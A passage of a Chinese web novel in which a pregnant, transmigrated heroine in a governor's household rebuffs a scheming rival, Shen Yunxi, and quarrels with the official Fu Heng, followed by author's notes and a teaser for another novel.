霞光在一旁给张合打了好几个眼色,眉梢眼角俱是催促与暗示。偏那张合是个十足的书呆子,全然沉浸在自己的医理脉案之中。 张合提着一支笔,嘴里絮絮叨叨地斟酌着药味与分量:“我开一剂竹叶石膏汤,用竹叶、石膏、麦冬、半夏、人参、甘草、粳米,外加白术、黄芩安胎,切记石膏要按照我给的量抓,万万不能错了。”(出自《伤寒论》) 霞光忍着气,耐着性子等张合总算交代清楚了,她手脚利落地帮着收拾好医箱,几乎是半推着将这位书呆子大夫送出了门。 她安排了两个小丫头在廊下守着,自己转身便一刻不敢耽搁,径直奔向小厨房,守着红泥小炉,仔细地将那帖安胎祛暑的药煎煮起来。 孟清辞歪在软榻上,指尖抵着团扇的竹骨,却泄出几分无力轻颤。那细微的抖动藏不住她此刻翻涌的心绪。 她本就畏惧生育之苦,尤其是在这种医疗没有保障的条件下,若不是为了离开傅珩这个老变|态搏一搏,她怎甘愿怀上这个孩子,越想,便越对傅珩生出蚀骨的恨意。 孟清辞正自郁郁之时,霞光端着药进来:“姑娘,药煎好了,您且趁热喝了吧。” 见孟清辞坐起身来,接过药碗,试了试温度,蹙着眉,小口小口的喝了。霞光又劝道:“您如今胎像尚未安稳,万事都得仔细些,可不能再像今日这样了。” 孟清辞默默将药饮尽,空碗搁在一旁,又接过蜜水细细漱了口,缓过一口气。她倚回软枕,声调悠悠道:““今日若我不出面,凭朱家颠倒黑白的本事,这风波还不知要掀得多高。正好借此事一次了结,也叫那些藏在暗处、蠢蠢欲动的魑魅魍魉,好好掂量掂量轻重。” 霞光闻言也不由蹙起眉:“可不说呢,今日程家五奶奶来得也忒巧合了些,倒像是掐准了时辰似的,也不知安的什么心,专来找咱们的不痛快。” 孟清辞唇角一勾,露出个冷淡又不屑的笑:“左不过是奔着你们三爷去的,等你们主子回来了,叫他自个儿打发去。只要不闹到我眼前来,我才懒得理会这些伎俩。” 霞光嘴上应着,心下却暗自思忖:那程五奶奶方才字字句句,分明是冲着姑娘来的。可这话她不敢贸然说穿,姑娘和主子才生出几分情分,她只怕多嘴惹出更多风波,到头来自己反倒要吃瓜落、落不是。 且说程五奶奶跟着书吏去了衙门,和离之事自然未能如愿。 最后仍是程五爷铁青着脸将人接回程府,方一关上房门,里头便爆出一阵激烈的争吵厮打之声,最后程五爷拂袖摔门而去。 婢女战战兢兢地进屋,将半瘫在地上的程五奶奶搀起,看着她狼狈的模样,忍不住落泪:“您这又是何苦,如今闹成这样,您往后的日子只怕更难了。” 程五奶奶唇角破裂,渗着血丝,半边脸颊也红肿起来,形容狼狈,眼神却冷得像一口枯井,不见半分波澜。她推开婢女的手,自己踉跄着站起身,歪倒在软榻上,忽地低低笑了起来,笑声沙哑得骇人:“我本来也没指望一个丫头片子能成什么事。” 程五奶奶拽过婢女,贴在她耳边压低声音:“你去告诉那人,我改主意了。我要他和那个贱人一家三口的命,我的孩子不能白死……” 婢女心惊胆战的颤抖起来:“主子,您这又是何必,不如拿了和离书,离开程家这个魔窟,若是事发,杀杀可是大罪。”婢女最终也不敢说出‘杀夫’二字。 程五奶奶目光空洞:唇角扯起一个惨淡的弧度:“离开?天下之大,何处容我?得罪了程家,我娘家又岂敢再认我这个女儿?” 婢女仍旧劝一句:“奶奶,那人若是不愿呢?” 程五奶奶诡异一笑:“由不得她不愿,那丫头一看便是巡抚心尖儿上的人,巡抚大人不在城中,府衙府兵任她调遣,若是叫巡抚大人知道,她趁着自己不在,给他心尖儿上的女人暗地里使绊子,呵呵~~” 晌午刚过,孟清辞的院外便响起一阵喧嚷吵杂之声。 霞光放下手中的活计,急急向外走去,心下不免生出几分埋怨,低声嘀咕道:“墨松真是越发不像话,姑娘先前吩咐的事不见回禀便也罢了,如今连府里的日常差事也敢这般怠慢,竟由着人闹到姑娘面前来。” 孟清辞用过早膳,见晨间天气尚还清爽,便步至园中散了会儿心。归来时,正与两个小丫鬟说着话,手里还拈了几支刚摘的鲜花。 远远望见自己院门前竟围了三五个婢女并婆子,簇拥着一位衣饰精致的年轻姑娘。那姑娘身形纤秀,翠蓝金枝撒花拽地裙在阳光下隐隐流转动人,瞧着很富贵逼人。 孟清辞抬手止住了身后两名婢女的脚步,主仆三人悄然停在廊角,颇有兴致地瞧着院门前的这场热闹。 “怎么,你们巡抚府便是这般待客的?”金秀柳眉倒竖,很是不满的道:“咱们王府的侍卫被你们拦在外头也就罢了,如今连我们小姐也要拦外面?” “沈小姐恕罪。此院中有主子书房重地,素来严禁外人近前。如今主子离府未归,未有主子亲令,卑职万万不敢放行,还请您见谅。”墨松纹丝不动的拦在院门外,态度恭敬却不容逾越:“前厅早已为您备好了上等的茶点,陈设雅致,且清静宜人。不如请沈小姐移步稍坐,品鉴一番?” “旁人自是旁人,我家小姐岂能与旁人相提并论?”金秀不买账的扬起下颌,质问:“莫非你们主子不在,你们这些底下人,就敢奴大欺主了不成?” 孟清辞在角落听得真切,唇角不由弯起一丝讥诮的弧度,暗想“奴大欺主”四个字,用得可真真是妙极了。 墨松眼角的余光瞥见,廊下好整以暇观战的孟清辞,见她唇边那抹冰冷的笑意,只觉得后背发凉,冷汗几乎浸湿了中衣,暗道一句:要遭—— 作者有话说:感谢等待[比心][猫爪] 傅珩:家里没我不行 孟清辞:呵,回来要你好看 第38章 第 38 章 更添风致 孟清辞那双清凌凌的美眸中却凝着一层冰霜, 不见一分温度。却尽是轻蔑,仿佛眼前不过是一场与她无关的闹剧,丝毫不在意的样子。 墨松伺候孟清辞已有段日子, 多少摸清了她的性子。若说她对主子存有几分情意、因见其他女子而心生醋意, 他是一万个不信的。 这位孟姑娘,气性可大得很。先前姚大人的夫人不过多嘴议多言两句妻妾之言, 便惹得她在船上与主子大发雷霆。 虽说孟姑娘与主子每次吵嘴,都屏退了左右, 可总有几句零碎言语漏出来,哪个都够惊世骇俗,偏主子和改了性似的, 一概不以为意。 这位主儿全然没有女子的容人贤德,很是离经叛道,最厌恶男子朝三暮□□流浪荡, 处处留情。因此,他万万不能让孟姑娘误会了主子与别的女子有个什么牵扯。 否则待主子回来,两人再因沈姑娘发作起来, 他这条小命怕是保不住了。 墨松隧神色端肃,断然拒绝:“小的职责所在,如今即便是老夫人亲至, 没有我家主子的示下, 也休想踏入这院门半步。” 言下之意再清楚不过:亲娘尚且如此, 你在金贵, 还能越过亲娘?你总不好再挑理了吧?。 金秀确实叫墨松这话堵着了, 一时气闷,深深吸了一口气,竟不知如何反驳。 霞光和孟清辞自幼都在老安义侯府里, 傅珩彼时正赴任广州,霞光自是不认得此时堵在院门外的沈云夕,更对什么王府一无所知。她只觉一个未出阁的姑娘,竟这般不管不顾要往男子院中闯,实在有些不知礼数。 可瞧对方前呼后拥的架势,再见墨松虽阻拦却仍恭敬的态度,也心知这姑娘身份不凡。她遂停在院门内,并未现身,只静观其变。 听到金秀那番话,霞光心头不由得一紧:莫非这沈姑娘与三爷有什么牵扯?若真如此,以沈姑娘出身王府的显赫身份,与自家姑娘实是云泥之别。姑娘性子又刚烈,万一将来受了委屈,该如何自处? 霞光不由得轻轻摇头,暗骂自己真是糊涂了。旁人或许不知,她可是听的真真的,三爷曾亲口许诺,只要姑娘一个的。 想到此,她眉头不自觉地蹙紧。看来这位沈姑娘,怕是来者不善。霞光心头不由咚咚擂起鼓来,算算时辰,姑娘逛园子也该回来了,姑娘还怀着身孕,一会儿莫要冲撞了才好。 沈云夕向来心思细腻,见墨松神色间隐有异样,便已察觉出几分不对。待墨松又一次不自觉地将余光瞥向一隅时,她心下一动,倏然转身,朝那方向望去。 孟清辞发髻上簪着一朵鹅黄色的月季花,那是小丫头刚在园子里摘来的,娇嫩欲滴,衬得孟清辞愈显清雅鲜妍。她怀中还捧着几枝荷花,一枝绽得正盛,另两枝尚是含苞,似羞似怯地偎在她臂弯间,更添风致。 沈云夕一眼看见孟清辞,心头猛地一紧,几乎喘不过气来。袖下的手死死攥紧,指甲深深掐入掌心。 这个距离,比金秀那日在巡抚府门外远远一瞥要清晰得多,金秀只觉得孟清辞像极了王妃娘娘。 很快,金秀察觉到自家主子情绪有异,眼神当即凌厉起来,上前一步,厉声喝道:“你是何人?见了我家姑娘还不行礼?傅大人不在,这府里的下人越发没了体统。来人!去教教她什么叫规矩!” 身后两个膀大腰圆的婆子应声而动,当即就要冲上前去拉扯孟清辞。 墨松霎时变了脸色,一个箭步冲上前去,双臂一展便将两个婆子一把推开。那两个婆子猝不及防,踉跄着跌坐在地上,发出一阵惊呼。 金秀脸色更难看了,不想墨松竟会亲自出手,她冷声道:“墨管事,我们姑娘千里迢迢而来,这就是你们巡抚府的待客之道?莫非是趁着傅大人不在,有人狐假虎威起来?若是让傅大人知道你这般对待我们小姐,到时候怕是剥了你一层皮都不够!” 霞光只认自家姑娘,见门外动起手来,哪里还顾得上什么王府的哪门子小姐,即招呼院里的几个粗使婆子冲出来。不过眨眼功夫,便将对方带来的两个婆子死死按在地上。 “你们巡抚府的奴婢反了天了。”金秀疾声厉色呵斥,转身对沈云夕福身行礼:“小姐,奴婢这就去门前唤王府的侍卫来。免得这些不长眼的奴才以为咱们势单力薄,好欺负。若是叫王妃娘娘知道,您在外面受了这样的委屈,还不知道要心疼什么样子,今儿定要和他们讨个说法。” “误会,都是误会。”墨松急忙解释:“这位姑娘是我家大人的内眷,并非府上的下人。”心想,幸亏墨白在前门守着,不叫王府的侍卫进府。 心里则是更加焦灼,生怕孟清辞的脾气上来,到时候,两个祖宗‘硝烟四起’一发不可收拾。 孟王爷毕竟与主子交情匪浅,墨松实在不愿将人得罪得太狠。可他实在想不明白,一向温婉大方的沈小姐今日为何如此反常。她在主子面前从来都是娴雅得体,今日这般不依不饶,摆王府的派头还是头一遭。 “你胡说。”金秀气愤道:“谁不知道傅大人向来不近女色?再说,我们家姑娘和傅大人明明……” 沈云夕见火候已到,这才缓缓开口:“金秀,住口。”她的声音不高,却自有一股威仪,“莫要胡言乱语。” 孟清辞在安义侯府中磨砺了整整十年,早已练就了一双识人辨事的利眼。看了这样一场戏,心里已经明白了七七八八,原来是傅珩的桃花寻上门了。 想来也是,傅珩那样的家世、那样的权势,又年纪轻轻手握权势,这样的男子,又怎会缺少倾慕之人?她目光淡淡扫过那位姑娘,见她与自己年岁相仿,唇角不由泛起一丝几不可察的冷笑:还真有喜欢爹系男人的。 沈云夕手中团扇轻摇,强作镇定。眼见孟清辞面对这般阵仗,竟自站在原地,八风不动,一语不发,这般沉稳心性反叫她心下越发焦灼,一时竟更加吃不准对方的深浅。 她原本听闻傅珩自京城归来,竟破例带回一个极受宠幸的女子,这才急忙赶来探个虚实。原想着不过是个上不得台面、毫无根基的寻常女子,并未真正放在眼中。 反倒是,傅珩既然肯接纳女色,那自己便总算有了嫁给傅珩的指望,否则她还不知要等到何时。 不料她刚到,便得知傅珩因巡视水军营务已出城,本欲待他归来再行拜访,不想听说傅珩养的女子很有几分脾性。 她不过是暗中唆使朱家与程五奶奶前去试探,怎料这女子竟这怎么能不叫她胆战心惊? 霞光快步到孟清辞身边扶着她,关切问道:“姑娘游园子累了罢,张大夫可是说了,您不可过于劳累,热头都毒了,咱们还是快回去歇着罢。” 孟清辞越过沈云夕一众人,往院子里走。 金秀猛然窜到两人面前,将人拦下,质问墨松:“你不是说,除了您们大人,旁人入不得这院子?怎么我们小姐入不得?她一个没名没分的玩意却入得?” 墨松忙挡在金秀面前,生怕金秀冲撞了孟清辞。不过瞬息,他额角都冒汗了,孟清辞怀着主子的孩子,这可是主子的第一个孩子,要是在他手里有个闪失,他万死难以谢罪。 眼见孟清辞理也不理,径直要进院子,沈云夕再难沉住气,对着孟清辞说了一句:“Do you remember me?” 第39章 第 39 章 做个玩意 孟清辞从傅珩书房里的游记里, 以及她偷偷拓印的那张海图上,所见多是葡语与马来语,英文确实极少见。 这位沈小姐的口音虽然有些怪异, 却也叫孟清辞吃惊不小。尤其是这句话里的意思, 心里泛起嘀咕:难道这位沈小姐认识她的原身? 不过,对于原身的亲人, 孟清辞并不感兴趣。她依稀记得,自己刚穿越来时, 身上所穿的衣料细腻讲究,按规制,绝非是仅仅有钱的商户可享用的锦缎, 原身的家世至少是有些身份底蕴的权贵世族。 那时她约莫五岁,论规矩,不论她去到哪里, 婆婆子丫鬟必是寸步不离,仆婢们决绝不会叫小主子落单。 就这,原身竟就这样丢了。更蹊跷的是, 多年来竟未曾寻到一丝线索、一点风声。要说其中没有猫腻都难呐! 孟清辞不是原身,对原身的恩怨没兴趣,更不想让人知道她通晓外文, 只装作鄙夷的冷声对墨松吩咐:“什么人都敢放进来撒野?还称什么小姐, 连官话都说不利索。” “回姑娘, 这是英圭黎语, 连小的也不会。”墨松打圆场道:“沈小姐素有才名, 精通好几门番邦语言。” 墨松随傅珩在广州多年,协理市舶司事务,常出入怀远驿, 与番商打交道久了,也通晓好几门番邦语言。他早闻这位沈小姐素有才名,精通数种番语,却不想她还会极少用的英圭黎语。 虽未完全听懂她所言何意,但墨松心思缜密,当下不动声色,只默默将这句话记在了心里。 孟清辞秀眉微蹙,极不耐烦:“管什么圭,什么黎的,和我有何干系?好好的心情,倒叫人败了个干净。”她嫌弃的摆手打发道:“还不将你们爷的‘贵客’请到我看不见的地方去,真是晦气。” 从头至尾,她再未瞧沈云夕一眼,径自转身踏入院中,毫不避讳地朝霞光吩咐:“去把院门关上,别什么野猫野狗都放进来乱吠,叽里咕噜,尽说些听不懂的鸟语。” 霞光连忙应下,转命婆子闭门。 院里的婆子素知孟清辞在巡抚府中的地位,巡抚大人规矩多大的主儿,这院子还不是随便孟姑娘出入。也不管墨松管事还在门外,忙不迭应声,“砰”地一声便将院门重重合上。 饶是霞光早已习惯孟清辞言辞锋利,此刻也不禁为门外那位沈小姐暗自难堪。外头霎时一片死寂,她回头望了一眼紧闭的院门,终是无声一叹,随即掀帘跟进屋内。 金秀被孟清辞一番指桑骂槐,气得脸色铁青。她们姑娘是孟王妃的亲侄女,自小被金尊玉贵地养在王妃身边,虽无郡主之名,却有如亲生,在蜀地何曾受过这等委屈? 金秀当即指向那紧闭的院门,对墨松疾言厉色道:“你们巡抚府欺人太甚!竟敢如此轻慢我们姑娘,便是看不起孟王府!此事王府绝不会善罢甘休!” 墨松素来长袖善舞,世故圆滑,此刻却只觉得脑中一片嗡鸣,思绪乱作一团。孟姑娘的嘴皮子真叫厉害;再看沈姑娘一副身形微颤、摇摇欲坠的模样,他简直自己也恨不得眼前一黑、当场晕厥过去才好。 这局面,他实在圆不回来了。 墨松只得硬着头皮上前,勉强开口,胡诌道:“还请沈姑娘千万海涵,我家姑娘素来是这个脾性。前些日子刚与主子闹了些不快,如今见了主子的客人,自然没什么好声气。绝非特意针对沈姑娘,万万请您勿要放在心上。” 沈云夕心砰砰的的跳个不停,心想:实在是太像了,不论是长相还是言谈举止,实在是太像了,如果不是这姑娘眼里的陌生疏淡不似作假,她都要以为青天白日里活见鬼了。 金秀见自家主子紧盯着紧闭的院门,像是被魇着了,上前扶住沈云夕的手臂,暗暗用了三分力道,给自家姑娘打眼色。 “原是我来得匆忙,偏又不巧,不知府上另有贵客,以致唐突,惹出这番误会。待傅大人回府,云夕再备礼登门,亲自向他致歉才是。”沈云夕这才缓缓回过神来,勉强扯出一抹清淡的笑意,又道:“今日便不再多扰了” 沈云夕说完,便步履匆匆地向府外走去。 金秀不明所以,来时明明说好了,定要给那个勾引傅大人的“狐狸精”一点颜色瞧瞧,怎的姑娘突然就改了主意?金秀饶是心中腹诽不解,也只能扶着自家姑娘往外走,却发觉姑娘的手竟抖得厉害。 墨松见沈姑娘并未深究,虽觉意外,却也暗自松了口气,连忙赔笑道:“沈姑娘言重了,您能大驾光临,是巡抚府的荣幸,真是蓬荜生辉。” 他嘴上说着客套话,却丝毫不敢出言挽留,心中暗忖:当真是一山难容二虎。沈姑娘今日这一出,恐怕绝非偶然。 墨松只佯作不知,面上仍是一派关切,问道:“不知沈姑娘打算在闽州停留多久?眼下住在哪处馆驿?小的也好派人打点周全,让我家大人略尽地主之谊。” 金秀见沈云夕神思不属、默然不语,便揣度着她的心意,代自家姑娘与墨松周旋了几句。 墨松一路将人送至门外,直到眼见沈云夕的马车渐行渐远,最终消失在长街尽头。他独自立于府门前,双眼微眯,神色渐凝。 墨白瞧见墨松神色肃穆郑重,好奇上前,低声询道:“出了何事?” 墨松望着马车远去的方向,长长叹了一口气,沉声道:“只怕是要出大事了。如今只盼主子能早日回府。” 马车内,沈云夕紧握着团扇的指节不住地轻颤。天知道,就在方才看见那女子的第一眼,她便已动了杀心。无论缘由为何,这个女人,她绝不能留。 但心思又百转千回,自到闽州,她连日试探,她深知傅珩对那女子极为看重。不仅允她调动府兵,整个巡抚府更是外松内紧、戒备森严、固若金汤。 沈云夕想在傅珩的地盘上,想要动他心尖上的人,简直难如登天。 沈云夕眼前挥之不去的,尽是那女子方才轻蔑倨傲的神态。那举止、那性情,实在太像了。她百思难解:怎么可能呢?当年她明明确认过的,她头上流了那么多血,还怎么可能活? 沈云夕又想:可若是她真的活了,己又该如何自处?她是真的不认识自己,还是……根本在伪装? 她很快又摇了摇头,兀自否定。以她的骄傲,如果还记得自己的身份,是绝不可能容忍自己无名无分、委身于人做个玩意的。 马车内,沈云夕眸色阴沉得几乎能滴出水来。 若她……果真忘了?可这遗忘,能持续一辈子吗? 倘若有一天她忽然想起一切……那自己必将万劫不复。 她这些年博览群书,不知付出了多少心血,方讨得王妃欢心,王爷些许看重,才在孟王府站稳脚跟,她能的,她如今一样可以,不,她比她做的更好。 她既然已经死了,怎么能回来?沈云夕缓缓闭上双眼,指甲几乎掐进掌心。她绝对不允许她还能回来,她绝不能坐以待毙,决不能让自己沦入任人宰割的境地。 一旁的金秀从未见过自家姑娘如此失态慌乱,只敢缩坐在靠近车门的位置,连呼吸都小心翼翼。她隐约觉得,姑娘这般模样,必定与巡抚府中那位神似王妃的女子有关。直觉遏住了她所有疑问,令她一个字也不敢多问。 巡抚府内,霞光趁着孟清辞午歇,悄悄寻到墨松,语气中带着几分埋怨:“你这差事是怎么当的?朱家那桩事已经惹得姑娘动了胎气,今日竟还由着人在院门前撒野。你是真嫌自己命太长不成?” 墨松愁眉不展,叹了口气:“你有所不知,这位沈姑娘来自蜀地孟王府。主子一向看重与王府的情面,实在不好轻易开罪。” “沈姑娘平日最是端庄得体,也不知今日是怎么了一反常态。”墨松抱怨道,观霞光神色,问:“姑娘那边可还安好?千万别为这事气坏了身子。” 墨松想到孟清辞在浙江知州府里,只因几句闲话便气得昏厥的旧事,后颈顿时沁出一层冷汗,仍心有余悸。 霞光撇嘴,不屑道:“什么大家闺秀,说得倒好听,背地里不还是行些后宅的下作手段,打量着,谁瞧不出来她今日存的是什么心思似的。” 似是瞧出来墨松怕什么,霞光也不卖关子吊着他,语气稍缓,宽慰道:“你放宽心吧。没瞧见咱们姑娘连正眼都懒得给她一个吗?根本就没把她放在心上。否则你还能好好在这里?” 墨松听她这么一说,犹如吞了颗定心丸,一颗七上八下的心总算落回实处,长长舒出一口气。当即深深一揖到底,语气诚恳:“小的在此谢过姑娘大恩!” 霞光侧身避开,以袖掩面,轻啐一声道:“呸,少在这儿油嘴滑舌的!” 仿佛是听见了墨松的心声,傍晚时分,傅珩果然提前回来了。他一身风尘,步履未停,径直便朝着孟清辞的房中走去。 墨松闻声急忙追了出去,却只在府门前看到墨简正指挥着小厮忙碌的身影。他快步上前,急声问道:“怎么今日就回来了?主子人呢?” 墨简一边吩咐下人将傅珩的行李搬进府中,一边耸肩答道:“这还用问?主子归心似箭,自然是去见孟姑娘了。” 墨松听罢重重一拍大腿,脱口道:“坏了!” 墨简一脸不解,忙问:“出什么事了?” 却见墨松哎哟一声,再顾不上多说,转身便朝着府内疾步奔去,却也是来不及了。 屋内并未点灯,孟清辞扶着软枕,懒散的歪在软塌上,心中焦灼如焚,正反复盘算着脱身之计。 未怀孕之前,她虽可出府,傅珩也从不阻拦,却每次皆是前呼后拥、护卫随行,难有半分机会。 此番傅珩巡查水军营,离开的时间并不算长。她并无十足把握。傅珩此人心思深沉难测,若这分明是一次试探,自己一旦失手,往后只怕再难有机会。时机稍纵即逝,她必须慎之又慎。 可今日见了那姓沈的女子之后,她越发只想尽快离开这处处隐伏的是非之地。 孟清辞胸|脯起伏,正烦躁的摆动着团扇,却听外面有人推门进来。 那脚步声沉沉,步子稳健,不像是霞光。她不由得直起身子,朝着门外轻声问道:“是谁呀?”—— 作者有话说:上一章没空间说这个语言的问题,这章交代了下,大家看的认真我很开心呀。[比心][猫爪] 预收文《天命》 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,1v2,男全洁,女主娇弱 美人×枭雄 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第40章 第 40 章 娇纵蛮横 傅珩连夜赶路, 衣摆处沾染了尘土,一路风尘仆仆回来,, 想见她的念头如野草疯长, 缠绕心间。 好像被种香的那个人是他,而非她。事实是他确实陷入了她的温柔乡, 想到临别前她的眷恋与不舍,即便知道她是受到种香的影响, 真心掺着几分虚幻。他仍旧处理了公务后,急匆匆一刻不停息,披星戴月, 疾驰而归。 推开正房的房门,长腿跨步迈进屋内,那熟悉的嗓音叫他心尖发软。熟悉的淡香裹着暖意袭来, 一瞬间熨帖了他所有焦躁与疲惫。 他目力极好,即便屋内昏暗,仍旧看清了榻上的娇人儿。 小姑娘斜倚在软枕间, 云鬓半散,青丝如墨流淌肩头,一身素色亵衣外只松松披了件外衫。 她闻声撑起身子, 抬眼望来, 眉目疏懒, 可能因为怀孕的缘故, 疏淡冷傲的眉眼间多了抹柔和光辉。 傅珩脚步顿在原地, 近乡情怯,竟是一时无言。 孟清辞只见一道高大的身影山似的压来,严严实实掩去了门边最后一缕微弱的月光, 心头不由猛地一紧。 待那轮廓在昏暗中清晰——竟是傅珩! 她愣怔了下,下一瞬,美眸倏然骤冷,仿佛凝了一层寒霜。二话不说,伸手就抄起小几上茶盏,看也不看便朝傅珩劈头盖脸地砸去! 傅珩全然没料到她这般反应,下意识抬手要挡,又恐力道反震伤了她。迟疑间被茶水混着茶叶泼了一脸,幸好那茶水早凉了,未伤了面皮。 茶盏坠地,闷声滚落毯上。 孟清辞赤着脚便跃下榻来,径直扑到傅珩身前,又推又搡地将人往外赶。声音又冷又厉,字字如冰珠砸地:“你还有脸到我面前来?我这里庙小,容不下你这尊大佛。” 若在平日,傅珩单只手便能轻易制住她。可如今她怀着身孕,气性又这般大,他半分不敢用强,只得步步后退,眼睁睁瞧着房门“砰”的一声在他面前重重合上。 他伫立门外,一身狼藉,脸上茶叶滴水未干。阴鸷之色渐渐覆上眉宇,怒意压得声音又沉又冷,:“你这是为何?” 孟清辞的声音自门缝里透出:“滚。” 心想:狗男人,叫女人堵着门欺负她,还想自己给好脸色不成?她半真半假的将傅珩打发了,自己则早早去榻上歇了。 傅珩满腔风尘仆仆的炽热,顷刻间被这盆冷水浇得彻底冰凉。他额角青筋微跳,怒意翻涌,几乎立刻就要抬手破门而入,想叫她知道自己的厉害。 恰在此时—— “主子!主子!”墨松狂奔而来,也顾不得礼数,一把拉住傅珩的胳膊,急声道:“有要事禀报!” 傅珩被他这么一拽,理智勉强回笼。他阴沉着脸,最后瞥了一眼那扇紧闭的房门,终是转身,随墨松大步走向书房。 一进书房,他沉身坐入圈椅,周身气压仍低得骇人。他细长的眼眸半阖,掩住其中翻腾的暗色,声音听不出情绪::“什么事,说罢。” 墨松喉头一滚,话到了嘴边却又咽下,只余目光闪烁,竟一时语塞。 傅珩指节叩响桌面,声响在寂静的书房里显得格外冷硬。他掀起眼皮,眼底那点未尽的怒意混合着不耐,几乎化为实质::“磨蹭什么?” 墨松被呵斥得浑身一颤,再不敢犹豫,只得硬着头皮,将朱家的事、程家五奶奶的蹊跷,连同沈小姐不寻常的举动一一道来。 他每说一句,傅珩的脸色便沉下一分,直至最后,书房中的空气几乎凝滞,只余灯芯噼啪轻爆的微响。 墨松顶着那道几乎要将他刺穿的阴鸷目光,继续回禀:“关于程五奶奶之事,姑娘觉得内有隐情,命属下暗中详查。最终发现,程五奶奶的贴身婢女曾私下与沈姑娘的丫鬟金秀会面,二人交谈许久,期间还有拉扯推搡之状。此外……此外……” 傅珩向后靠入圈椅,面容隐在阴影里,瞧不出情绪,只声音听来平淡莫测:“还有什么?” 墨松深知这平静之下压着怎样的不耐与怒意,连忙俯首:“府衙给奴婢传话,审讯朱家人的时候,朱家人招供,朱家二爷事先见过沈姑娘。今日沈姑娘来府上的行止也很是蹊跷,堵着姑娘发难,姑娘不曾理会,沈姑娘自己反倒莫名慌张起来,最后还对姑娘说了句英圭黎语。 属下觉其有异,去问了懂行的通事,沈姑娘那句话的意思竟是‘你还记得我吗?’。 属下觉得很是蹊跷,姑娘是在祖宅大小姐身边长大的,怎么会认识蜀地的沈姑娘?” 傅珩沉默良久,唇角忽然勾起一抹冰冷的讥诮:“插几根羽毛,就真当自己是凤凰了。” 墨松嘴角几不可察地一抽,暗想:主子和孟姑娘果真天生一对,连骂人都这般如出一辙的刻薄。 傅珩指节轻敲桌面:“朱家的人,不用留了。” 墨松颔首应是。 傅珩沉吟片刻,方沉声问道:“她听了那英圭黎语,是何反应?” 墨松垂首,将孟清辞当时的言行仔细复述了一遍。 傅珩听罢,抬手按了按突突跳动的额角,又是好气又是好笑。 这脾气……还真是半点不肯吃亏。 他就丝毫没担心,她这般不管不顾,将孟王爷给得罪了,会向自己发难?这姑娘真是薄情的很。 “孟王爷,早年曾丢过一女,苦寻多年未果。听闻那位小姐天资非凡,幼时便能说番邦语,孟王爷视若珍宝。”傅珩眸色深沉似夜,声线微冷,吩咐道:“明日你寻个由头,将沈云夕逐出闽州。另派一队精明人手暗中跟随,她一举一动,事无巨细,皆需回禀。” 墨松神色一凛,当即躬身:“是,属下遵命。” 傅珩又将霞光唤至跟前,细细询问这几日孟清辞的饮食起居。听闻她因朱家之事动了胎气,他面色倏地沉了下去,眸底隐有寒霜凝结。 默然片刻,他喉结微动,声音不自觉地低了几分:“这几日……她可曾提起过我?” 霞光干咽了一下,垂眼不敢直视,暗中一咬牙,终是违心回道:“主子不在的时候,姑娘嘴上虽不曾多说,但总是问着日子,婢子瞧着,心里是盼着您早些回来的。也因此,这几日用饭都不太香。” 傅珩听得她心中有惦念,眉眼间冷厉稍霁,可又闻她未曾好好吃饭,眉头再度蹙起,:“她不用,你们也不知多劝着些?竟就由着她任性。” 霞光额角沁出细密的汗珠,真是左也不是,右也不是,她声音愈发低微,几乎嗫嚅道:“奴婢们自是苦苦劝了的,只……只是……” “好好伺候着,下去罢。”傅珩见霞光舌头都打结了,便不再多问,只挥了挥手叫她下去。 傅珩心知孟清辞正在气头上,此时前去无异于火上浇油,索性先埋首处理起积压的公务。待他再度抬首,窗外已是夜深。他起身简单洗漱,换下一身风尘,仍旧回正房休息。 呵,一道门,又如何真能拦得住他? 孟清辞自将傅珩撵走后,便无力地倒在床榻上,一颗心犹自砰砰急跳,难以平复。她下意识地以双手护住依旧平坦的小腹。 朱幼宜明明说了,只要怀了孩子,她便不再日日离不得傅珩,并且只要生下孩子,这种香便算是解了。 她怀孕后,与傅珩分开多日,果然如朱静怡所说安然无恙。 不过,就在刚才见到傅珩,与傅珩共处一室,那熟悉的柏木松香像是浸入了她的骨髓,叫她自然而然的产生依恋之情,就好像,就好像她真的对他 孟清辞心绪烦乱,在锦衾间辗转难眠。正当时,忽闻房门轻响,一道略沉的脚步声踏破内室的寂静——不必细辨,她也知是傅珩。 果然,未几时分,床幔便被一只骨节分明的手掀开,微凉的夜气漫入之间,傅珩已然径自踏上了榻。 月光如水,静静流淌在寂静的内室,悄然映亮彼此的眼眸。两人的视线不偏不倚,刚好对了个正着。 傅珩手臂轻环,将她揽近,温声低问:“怎么还不睡?可是热了?” 孟清辞被他揽入怀中,那熟悉的温暖与气息几乎让她舒适得喟叹出声,可理智却叫她难以接受这般轻易的沉溺。她蹙起眉头,用手推搡着他胸口,仰怒道:“少来招我!自有你那猫儿小姐、狗儿小姐的惦记你去。” 饶是傅珩博览群书,也从未听过这般别致又泼辣的骂法。他怔了一瞬,不由低低一叹。手臂却将她环得更紧了些,声音里带着无奈的纵容:“此番是我思虑不周,让你受了委屈。我保证,日后绝不再有此类事情。” 孟清辞冷笑一声:“人家出自王府,一次便险些将你儿子吓没了,傅大人倒是心胸宽广,还来和我说以后?” 她心里不舒坦,总想刺他几句,好叫她自己痛快些。 傅珩凝视着她此刻眉眼含嗔、语带讥讽的情态,心中竟觉爱极这般鲜活气性,可偏又实在招架不住她那两片利如刀刃、不肯饶人的朱唇。 傅珩握着她的手,细长眼眸中情绪幽深难测。他忽地话锋一转,声音低沉:“你当真……不认得那位沈姑娘?” “沈姑娘、沈姑娘,叫得倒亲热!”孟清辞霎时竖起了浑身尖刺,抬起腿便不轻不重地踹他一下,恨声道:“你既这般放不下,寻你的沈姑娘去便是,何必在我这儿旁敲侧击!” 心知傅珩是疑心了什么,又来试探她是不是恢复了幼时的记忆。 她深知,此刻无论怎样应答,他都未必尽信,只怕早已暗中派人详查。既如此,索性娇纵蛮横的敷衍过去。 傅珩却擒住她细白的足踝,不容她退却。他抬眸深深望进她眼里,薄唇倏然印上一抹温烫,竟轻轻吻在她微凉的脚尖。 孟清辞浑身一颤,似有细密的电流自那相接之处窜遍全身。她足底下意识发力,不轻不重地踩在他心口,细眉轻蹙,声音里染上一缕轻颤:“你……休要不正经,我还怀着你孩子呢。” 傅珩在她鬓边印下一吻,他敏锐地察觉到她细微的颤栗,那并非表面的无动于衷,他悬了一夜的心才仿佛真正落到实处 